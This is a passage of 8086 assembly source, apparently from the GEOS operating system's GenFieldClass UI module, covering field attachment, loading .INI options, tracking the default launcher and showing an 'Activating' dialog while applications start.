PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 12/89 Initial version chrisb 10/92 added load options call ------------------------------------------------------------------------------@ GenFieldAttach method GenFieldClass, MSG_META_ATTACH uses ax .enter ; ; FIRST, load options. This must be done before calling the ; superclass, as in the case of Motif, the superclass makes ; use of variables that we set here (see OLFieldAttach). ; mov ax, MSG_META_LOAD_OPTIONS call ObjCallInstanceNoLock ; ; Add ourselves to the GenSystem ; mov cx, ds:[LMBH_handle] mov dx, si mov ax, MSG_GEN_FIND_CHILD ; are we a child yet? call UserCallSystem jnc alreadyThere ; yes, don't add again mov ax, MSG_GEN_ADD_CHILD mov bp, CCO_FIRST ; Add as first so welcome field ; will *always* be the last one ; (this avoids aborted detach ; problems). call UserCallSystem alreadyThere: ; ; save away info about default launcher ; call SaveDefaultLauncherInfo ; ; enable help windows ; push ax, bx, cx, dx, bp, si mov ax, MSG_GEN_SET_USABLE mov dl, VUM_NOW mov bx, handle SysHelpObject mov si, offset SysHelpObject mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage mov ax, MSG_GEN_SET_USABLE mov dl, VUM_NOW mov bx, handle SysModalHelpObject mov si, offset SysModalHelpObject mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop ax, bx, cx, dx, bp, si .leave mov di, offset GenFieldClass GOTO ObjCallSuperNoLock GenFieldAttach endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SaveDefaultLauncherInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: find and save GeodeToken for defaultLauncher CALLED BY: GenFieldAttach PASS: *ds:si = field RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 4/15/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SaveDefaultLauncherInfo proc near uses ax, bx, cx, dx, si, di, es fieldSegment local word push ds fieldChunk local word push si catBuf local INI_CATEGORY_BUFFER_SIZE dup (char) geodeToken local GeodeToken .enter mov ax, TEMP_GEN_FIELD_DEFAULT_LAUNCHER_ID call ObjVarFindData LONG jc done ; already saved mov cx, ss lea dx, catBuf mov ax, MSG_META_GET_INI_CATEGORY push bp call ObjCallInstanceNoLock pop bp mov ds, cx mov si, dx mov cx, segment defaultLauncherKey mov dx, offset defaultLauncherKey push bp clr bp ; give us a buffer call InitFileReadString ; bx = mem handle pop bp jc done ; if no default launcher, leave call MemLock mov ds, ax ; ds:dx = name clr dx call FilePushDir mov ax, SP_APPLICATION call FileSetStandardPath mov ax, FEA_TOKEN mov cx, size GeodeToken segmov es, ss lea di, geodeToken call FileGetPathExtAttributes jnc noError cmp ax, ERROR_FILE_NOT_FOUND jne freeDone mov ax, SP_SYS_APPLICATION call FileSetStandardPath mov ax, FEA_TOKEN call FileGetPathExtAttributes jc freeDone noError: push bx ; save filename block mov ds, fieldSegment mov si, fieldChunk mov ax, TEMP_GEN_FIELD_DEFAULT_LAUNCHER_ID mov cx, size GeodeToken call ObjVarAddData ; ds:bx = GeodeToken mov fieldSegment, ds ; (ds updated) segmov es, ds mov di, bx segmov ds, ss lea si, geodeToken mov cx, size GeodeToken/2 rep movsw pop bx ; restore filename block freeDone: call MemFree done: mov ds, fieldSegment .leave ret SaveDefaultLauncherInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldLoadOptions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Load the interface level settings for this field and store them in the UI's global dgroup variables. PASS: *ds:si = GenFieldClass object es = segment of GenFieldClass ss:bp - GenOptionsParams RETURN: nothing DESTROYED: ax,cx,dx,bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: This routine should be called as early as possible when the field is coming up -- definitely before apps start coming up, that might use these variables. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: In theory, apps could change .INI flags and then GUP this message up to the GenField to change the values on the fly. This would not affect already-running apps, however. REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 10/ 3/92 Moved here from InitInterfaceLevel %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldLoadOptions method dynamic GenFieldClass, MSG_GEN_LOAD_OPTIONS push ax, si, ds segmov es, dgroup, si ; es <- dgroup ; ; Read the interface level. If not found, assume advanced. ; segmov ds, ss lea si, ss:[bp].GOP_category mov cx, cs ; get interface level mov dx, offset interfaceLevelStr mov ax, UIIL_ADVANCED ; set default in case not found call InitFileReadInteger mov es:[uiInterfaceLevel], ax ; get default launch level mov dx, offset launchLevelStr mov ax, UIIL_ADVANCED ; set default in case not found call InitFileReadInteger mov es:[uiDefaultLaunchLevel], ax ; get default launch model mov dx, offset launchModelStr mov ax, UILM_MULTIPLE_INSTANCES ; set default in case not found call InitFileReadInteger mov es:[uiLaunchModel], ax ; get launch options mov ax, mask UILO_DESK_ACCESSORIES mov dx, offset launchOptionsStr call InitFileReadInteger mov es:[uiLaunchOptions], ax ; get interface options mov ax, mask UIIO_OPTIONS_MENU mov dx, offset interfaceOptionsStr call InitFileReadInteger mov es:[uiInterfaceOptions], ax ; ; Call superclass in case subclasses are expecting normal ; GenClass behavior. ; mov ax, segment GenFieldClass mov es, ax ; es <- seg of GenFieldClass pop ax, si, ds mov di, offset GenFieldClass GOTO ObjCallSuperNoLock GenFieldLoadOptions endm interfaceLevelStr char "interfaceLevel", 0 launchLevelStr char "launchLevel", 0 launchModelStr char "launchModel", 0 launchOptionsStr char "launchOptions", 0 interfaceOptionsStr char "interfaceOptions", 0 COMMENT @---------------------------------------------------------------------- MESSAGE: GenFieldGetIniCategory -- MSG_META_GET_INI_CATEGORY for GenFieldClass DESCRIPTION: If no ini category is present then use the default PASS: *ds:si - instance data es - segment of GenFieldClass ax - The message cx:dx - buffer for category RETURN: cx:dx - buffer (preserved) DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/ 6/92 Initial version ------------------------------------------------------------------------------@ GenFieldGetIniCategory method dynamic GenFieldClass, MSG_META_GET_INI_CATEGORY pushdw cxdx ; save for return pushdw cxdx mov di, offset GenFieldClass call ObjCallSuperNoLock popdw esdi tst <{byte} es:[di]> jnz gotCategory segmov ds, cs mov si, offset uiFeaturesCategoryString mov cx, length uiFeaturesCategoryString rep movsb gotCategory: popdw cxdx ret GenFieldGetIniCategory endm uiFeaturesCategoryString char "uiFeatures", 0 COMMENT @---------------------------------------------------------------------- METHOD: GenFieldSetVisParent -- MSG_GEN_FIELD_SET_VIS_PARENT for GenFieldClass DESCRIPTION: Sets visual parent for a field object. Allows setting the visible parent to be something other than the default screen returned from the system object when queried for the spec build. (Should only be called before being set USABLE) PASS: *ds:si - instance data (for object in GenField class) es - segment of GenFieldClass ax - MSG_GEN_FIELD_SET_VIS_PARENT cx:dx - visible object to use as parent RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 11/89 Initial version ------------------------------------------------------------------------------@ GenFieldSetVisParent method GenFieldClass, MSG_GEN_FIELD_SET_VIS_PARENT mov di, ds:[si] add di, ds:[di].Gen_offset mov ds:[di].GFI_visParent.handle, cx mov ds:[di].GFI_visParent.chunk, dx ret GenFieldSetVisParent endm Init ends ;-------------------------- Common segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldAppStartupNotify %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: GLOBAL PASS: *ds:si - GenField es - dgroup RETURN: cx - 0 if it is OK to start up the application non-0 if it is not OK (field is detaching or is not attached) ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 7/ 5/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldAppStartupNotify method dynamic GenFieldClass, MSG_GEN_FIELD_APP_STARTUP_NOTIFY segmov es, dgroup, cx ; SH mov cx, -1 ;Assume it is not OK to start an app test ds:[di].GFI_flags, mask GFF_DETACHING jne exit test es:[uiFlags], mask UIF_DETACHING_SYSTEM jnz exit cmp ds:[di].GFI_numAttachingApps, 255 ;No more than 255 apps jz exit inc ds:[di].GFI_numAttachingApps ; start up and inc # push dx mov ax, MSG_GEN_SYSTEM_MARK_BUSY ; Indicate busy during call UserCallSystem ; startup pop dx clr cx ; Allow app to be ; allowed to start up exit: ret GenFieldAppStartupNotify endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldAppStartupDone %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Decrements the "current # of attaching apps" count and detaches the field if it's marked as needing detaching. CALLED BY: GLOBAL PASS: *ds:si = GenField es = segment of class (dgroup) RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 7/ 5/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldAppStartupDone method dynamic GenFieldClass, MSG_GEN_FIELD_APP_STARTUP_DONE EC < tst ds:[di].GFI_numAttachingApps > EC < ERROR_Z UI_STARTUP_DONE_MSG_RECEIVED_BEFORE_STARTUP_NOTIFY > dec ds:[di].GFI_numAttachingApps test ds:[di].GFI_flags, mask GFF_DETACHING ;If not detaching, exit jz done clr cx ; no ID mov ax, MSG_META_DETACH call HandleFieldDetachLow ; and handle the detach... ; (this will check the ; GFI_numAttachingApps variable ; anyway, so no need for us to ; do so...) done: mov ax, MSG_GEN_SYSTEM_MARK_NOT_BUSY call UserCallSystem ret GenFieldAppStartupDone endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldActivateInitiate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: GLOBAL PASS: *ds:si - GenField es - dgroup dx - AppLaunchBlock (This is NOT considered a reference) RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 5/3/93 Split out from STARTUP_REQUEST %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldActivateInitiate method dynamic GenFieldClass, MSG_GEN_FIELD_ACTIVATE_INITIATE EC < xchg bx, dx > EC < call ECCheckMemHandle > EC < xchg bx, dx > ; If in transparent launch model, put up "Activating" dialog ; while loading in apps -- Doug 4/14/93 ; segmov es, dgroup, bx cmp es:[uiLaunchModel], UILM_TRANSPARENT jne afterActivationDialog tst es:[uiNoActivationDialog] jnz afterActivationDialog mov bx, dx call MemLock push ds mov ds, ax mov ax, ds:[ALB_appMode] pop ds call MemUnlock tst ax jz activationDialog ; if NULL, default is to activate cmp ax, MSG_GEN_PROCESS_OPEN_APPLICATION jne afterActivationDialog activationDialog: ; No dialog during UI startup (skip ; SPOOL.GEO, thank you) test es:[uiFlags], mask UIF_INIT jnz afterActivationDialog call NewActivationDialog afterActivationDialog: ret GenFieldActivateInitiate endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldActivateUpdate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: GLOBAL PASS: *ds:si - GenField es - dgroup cx - geode dx - AppLaunchBlock (This is NOT considered a reference) RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- doug 4/14/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldActivateUpdate method dynamic GenFieldClass, MSG_GEN_FIELD_ACTIVATE_UPDATE EC < xchg bx, cx > EC < call ECCheckGeodeHandle > EC < xchg bx, cx > EC < xchg bx, dx > EC < call ECCheckMemHandle > EC < xchg bx, dx > mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData jnc done cmp dx, ds:[bx].AD_appLaunchBlock ; correct block? jne done call UpdateActivationDialog done: ret GenFieldActivateUpdate endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldActivateDismiss %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deal robustly w/notification that a geode is "on screen". Specifically, get rid of any "Activating" dialog that is up for it. CALLED BY: GLOBAL PASS: *ds:si - GenField es - dgroup cx - geode, if known dx - AppLaunchBlock, if geode not known RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- doug 4/14/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldActivateDimiss method static GenFieldClass, MSG_GEN_FIELD_ACTIVATE_DISMISS EC < tst cx > EC < jz noGeode > EC < xchg bx, cx > EC < call ECCheckGeodeHandle > EC < xchg bx, cx > EC < jmp short afterEC > EC <noGeode: > EC < xchg bx, dx > EC < call ECCheckMemHandle > EC < xchg bx, dx > EC <afterEC: > ; Otherwise, see if we need to nuke activation dialog ; mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData jnc afterDialog tst cx ; Geode known? jz tryAppLaunchBlock ; if not, try app launch block cmp cx, ds:[bx].AD_geode ; matching geode? je nukeIt tryAppLaunchBlock: cmp dx, ds:[bx].AD_appLaunchBlock ; correct block? jne afterDialog nukeIt: push cx call NukeActivationDialog ; Yup. Bring'er down. pop cx afterDialog: ret GenFieldActivateDimiss endp Activation segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NewActivationDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get activation dialog up on screen, if not there, start "activating" sequence based on app name in AppLaunchBlock CALLED BY: INTERNAL PASS: *ds:si - GenField dx - AppLaunchBlock RETURN: DESTROYED: ax, bx, cx, dx, di, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 4/14/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NewActivationDialog proc far uses si .enter mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData LONG jnc newDialog ; oldDialog: push dx, si ; save AppLaunchBlock, Field mov di, bx ; ds:di = ActivationData mov bx, ds:[bx].AD_dialog.handle ; Get dialog block for ensuing ; messages ... ; Update old structure w/new data ; clr ds:[di].AD_geode ; See if already showing blank icon.... ; mov cx, ds:[di].AD_savedBlankMoniker tst cx jz afterIconCleared ; If not, CLEAR ICON HERE -- first obliterate current icon in use, push cx ; save saved blank moniker clr ds:[di].AD_savedBlankMoniker ; clear stored reference mov si, offset ActivatingGlyph ; Nuke the old moniker... mov dx, size ReplaceVisMonikerFrame sub sp, dx mov bp, sp mov ax, MSG_GEN_REPLACE_VIS_MONIKER mov ss:[bp].RVMF_updateMode, VUM_MANUAL mov ss:[bp].RVMF_sourceType, VMST_FPTR mov ss:[bp].RVMF_dataType, VMDT_NULL mov di, mask MF_FIXUP_DS or mask MF_STACK call ObjMessage add sp, dx pop cx ; get saved blank moniker mov ax, MSG_GEN_USE_VIS_MONIKER mov dl, VUM_NOW mov di, mask MF_FIXUP_DS call ObjMessage afterIconCleared: ; Clear out old name text if 0 mov si, offset ActivatingText ; ^lbx:si is text object mov ax, MSG_VIS_TEXT_DO_KEY_FUNCTION mov cx, VTKF_START_OF_LINE ; go to start mov di, mask MF_FIXUP_DS call ObjMessage mov ax, MSG_VIS_TEXT_DO_KEY_FUNCTION mov cx, VTKF_FORWARD_WORD ; move past "Activate " mov di, mask MF_FIXUP_DS call ObjMessage mov cx, VTKF_FORWARD_CHAR ; & space after it... mov di, mask MF_FIXUP_DS call ObjMessage mov ax, MSG_VIS_TEXT_DO_KEY_FUNCTION mov cx, VTKF_SELECT_ADJUST_TO_END ; select to end of line mov di, mask MF_FIXUP_DS call ObjMessage mov ax, MSG_VIS_TEXT_DELETE_SELECTION ; Delete selection mov di, mask MF_FIXUP_DS call ObjMessage else mov si, offset ApplText ; ^lbx:si is ApplText Glyph sub sp, size ReplaceVisMonikerFrame mov bp, sp mov ss:[bp].RVMF_updateMode, VUM_NOW mov ss:[bp].RVMF_sourceType, VMST_FPTR mov ss:[bp].RVMF_dataType, VMDT_NULL mov dx, ReplaceVisMonikerFrame mov ax, MSG_GEN_REPLACE_VIS_MONIKER mov di, mask MF_FIXUP_DS or mask MF_STACK call ObjMessage add sp, size ReplaceVisMonikerFrame endif pop dx, si ; retrieve AppLaunchBlock, Field jmp short setName newDialog: ; Create new dialog, new ActivationData temp data structure to hold ; info about it. ; push si ; save GenField obj offset mov bx, handle ActivatingUI mov si, offset ActivatingBox push ds:[LMBH_handle] call UserCreateDialog mov_tr di, bx ; keep handle of dialog block in di pop bx call MemDerefDS ; fixup DS pop si ; *ds:si = GenField obj offset mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG mov cx, size ActivationData call ObjVarAddData mov ds:[bx].AD_dialog.handle, di mov ax, offset ActivatingBox mov ds:[bx].AD_dialog.chunk, ax setName: ; dx - AppLaunchBlock ; mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData EC < ERROR_NC UI_TEMP_GEN_FIELD_ACTIVATION_DIALOG_NOT_PRESENT > mov ds:[bx].AD_appLaunchBlock, dx mov bx, ds:[bx].AD_dialog.handle mov ax, MSG_GEN_INTERACTION_INITIATE mov si, offset ActivatingBox mov di, mask MF_FIXUP_DS call ObjMessage push ds:[LMBH_handle] xchg bx, dx call MemLock mov ds, ax mov si, offset ALB_appRef.AIR_fileName mov bp, si ; init to start charloop: LocalGetChar ax, dssi LocalIsNull ax jz found LocalCmpChar ax, C_BACKSLASH jne charloop mov bp, si ; save ptr to data after backslash jmp short charloop found: xchg bx, dx push dx ; save handle of AppLaunchBlock mov dx, ds ; dx:bp is text string if 0 clr cx ; test is null terminated mov ax, MSG_VIS_TEXT_APPEND_PTR mov si, offset ActivatingText ; ^lbx:si is text object else mov cx, dx mov dx, bp ; cx:dx is text string mov bp, VUM_NOW ; VisUpdateMode mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT mov si, offset ApplText endif mov di, mask MF_CALL call ObjMessage pop bx call MemUnlock pop bx call MemDerefDS .leave call DrawActivationDialog ; Force the expose to happen right now ret NewActivationDialog endp ;EllipsesText char "...", 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NukeActivationDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Take activation dialog off screen & destroy it. (MUST EXIST) CALLED BY: INTERNAL PASS: *ds:si - GenField RETURN: nothing DESTROYED: ax, bx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 4/14/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NukeActivationDialog proc far mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData EC < ERROR_NC UI_TEMP_GEN_FIELD_ACTIVATION_DIALOG_NOT_PRESENT > push si mov si, ds:[bx].AD_dialog.chunk mov bx, ds:[bx].AD_dialog.handle push ds:[LMBH_handle] call UserDestroyDialog pop bx call MemDerefDS pop si mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarDeleteData ret NukeActivationDialog endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateActivationDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update the activation icon in the dialog CALLED BY: INTERNAL PASS: *ds:si - GenField cx - geode RETURN: DESTROYED: ax, bx, cx, dx, di, bp, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 4/14/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateActivationDialog proc far uses si .enter mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData EC < ERROR_NC UI_TEMP_GEN_FIELD_ACTIVATION_DIALOG_NOT_PRESENT > mov ds:[bx].AD_appLaunchBlock, 0 ; no longer using this.. mov ds:[bx].AD_geode, cx ; we'll now refer to it by ; geode, instead. if (0) push ds:[bx].AD_dialog.handle ; save block of dialog call UserGetDisplayType mov dl, ah mov ax, ss mov es, ax sub sp, size GeodeToken mov di, sp ; get 6 byte buffer in es:di mov bx, cx mov ax, GGIT_TOKEN_ID call GeodeGetInfo mov ax, {word} es:[di].GT_chars+0 mov bx, {word} es:[di].GT_chars+2 mov si, es:[di].GT_manuf add sp, size GeodeToken ; fix up stack pop cx ; get block of dialog in cx clr di call TokenLoadMoniker ; di = chunk handle in block mov bx, cx mov si, offset ActivatingGlyph mov ax, MSG_GEN_SET_MONIKER endif mov bx, ds:[bx].AD_dialog.handle push cx ; save geode handle ; Get old blank moniker, save away for later use. push si mov si, offset ActivatingGlyph mov ax, MSG_GEN_GET_VIS_MONIKER mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si push bx push ax ; blank moniker on stack for a moment mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData EC < ERROR_NC UI_TEMP_GEN_FIELD_ACTIVATION_DIALOG_NOT_PRESENT > pop ds:[bx].AD_savedBlankMoniker ; then saved away. pop bx mov si, offset ActivatingGlyph ; Then, switch to using no moniker, so the blank one is left intact ; mov ax, MSG_GEN_USE_VIS_MONIKER clr cx mov dl, VUM_MANUAL mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop cx ; get geode handle again ; Then, copy in a real moniker from the token database ; mov ax, ss mov es, ax sub sp, size GeodeToken mov di, sp ; get token buffer in es:di xchg bx, cx ; get geode in bx mov ax, GGIT_TOKEN_ID call GeodeGetInfo xchg bx, cx ; get dialog handle back in bx mov dx, size ReplaceVisMonikerFrame sub sp, dx mov bp, sp mov ax, es mov ss:[bp].RVMF_source.segment, ax mov ss:[bp].RVMF_source.offset, di mov ss:[bp].RVMF_sourceType, VMST_FPTR mov ss:[bp].RVMF_dataType, VMDT_TOKEN mov ss:[bp].RVMF_updateMode, VUM_NOW mov si, offset ActivatingGlyph mov ax, MSG_GEN_REPLACE_VIS_MONIKER mov di, mask MF_CALL or mask MF_STACK or mask MF_FIXUP_DS call ObjMessage add sp, size ReplaceVisMonikerFrame add sp, size GeodeToken .leave call DrawActivationDialog ; Force the expose to happen right now ret UpdateActivationDialog endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawActivationDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Force immediate visual update of the "Activating" dialog CALLED BY: INTERNAL PASS: RETURN: DESTROYED: ax, bx, cx, dx, di, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 4/14/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawActivationDialog proc far mov ax, TEMP_GEN_FIELD_ACTIVATION_DIALOG call ObjVarFindData jnc done push si mov si, ds:[bx].AD_dialog.chunk mov bx, ds:[bx].AD_dialog.handle mov ax, MSG_VIS_QUERY_WINDOW mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage mov ax, MSG_META_EXPOSED mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si done: ret DrawActivationDialog endp Activation ends COMMENT @---------------------------------------------------------------------- METHOD: GenFieldNotifyNoFocusWithinNode DESCRIPTION: Notification that no app within field could be found to give the focus to. PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_META_NOTIFY_NO_FOCUS_WITHIN_NODE RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: if lower-to-bottom behavior should really be defined by spui, just move that portion to a OLFieldClass MSG_META_NOTIFY_NO_FOCUS_WITHIN_NODE handler and have this handler send message on to spui REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 6/92 Initial version brianc 10/22/92 Moved from spui to gen to allow use of common code and access to shutdown flag ------------------------------------------------------------------------------@ GenFieldNotifyNoFocusWithinNode method GenFieldClass, MSG_META_NOTIFY_NO_FOCUS_WITHIN_NODE ; If there's an app currently being attached, then don't give up ; on this field just yet. ; mov di, ds:[si] add di, ds:[di].Gen_offset tst ds:[di].GFI_numAttachingApps LONG jnz done ; Look through the array of apps we know about to see if any of them ; is focussable. First one found wins. We need to do this if an app ; exits during startup before any other app can open a window. ; mov di, ds:[di].GFI_genApplications tst di jz noFocusableAppWithoutAWindow ChunkSizeHandle ds, di, cx shr cx shr cx jz noFocusableAppWithoutAWindow mov di, ds:[di] findFocusableAppLoop: mov bx, ds:[di].handle call MemOwner call WinGeodeGetFlags test ax, mask GWF_FOCUSABLE or mask GWF_TARGETABLE jnz done ; don't try and give it the focus or ; target, as it's likely not ready ; for it. Just assume it will open a ; window eventually which will grab ; the focus or target add di, size optr loop findFocusableAppLoop noFocusableAppWithoutAWindow: ; There's no focusable app. If we're in UILM_TRANSPARENT mode, ; we'd like to get the default launcher back on screen, rather than ; detaching, or just hanging out without an app. ; push es segmov es, dgroup, ax ; SH cmp es:[uiLaunchModel], UILM_TRANSPARENT pop es jne notTransparent mov di, ds:[si] add di, ds:[di].GenField_offset test ds:[di].GFI_flags, mask GFF_LOAD_DEFAULT_LAUNCHER_WHEN_NEXT_PROCESS_EXITS jnz done clr cx ; report errors mov ax, MSG_GEN_FIELD_LOAD_DEFAULT_LAUNCHER GOTO ObjCallInstanceNoLock notTransparent: ; If we were waiting for this field's apps to exit because it is in ; 'quitOnClose' mode and the user requested "Exit to DOS", shutdown ; now. Use forced clean as we already queried the 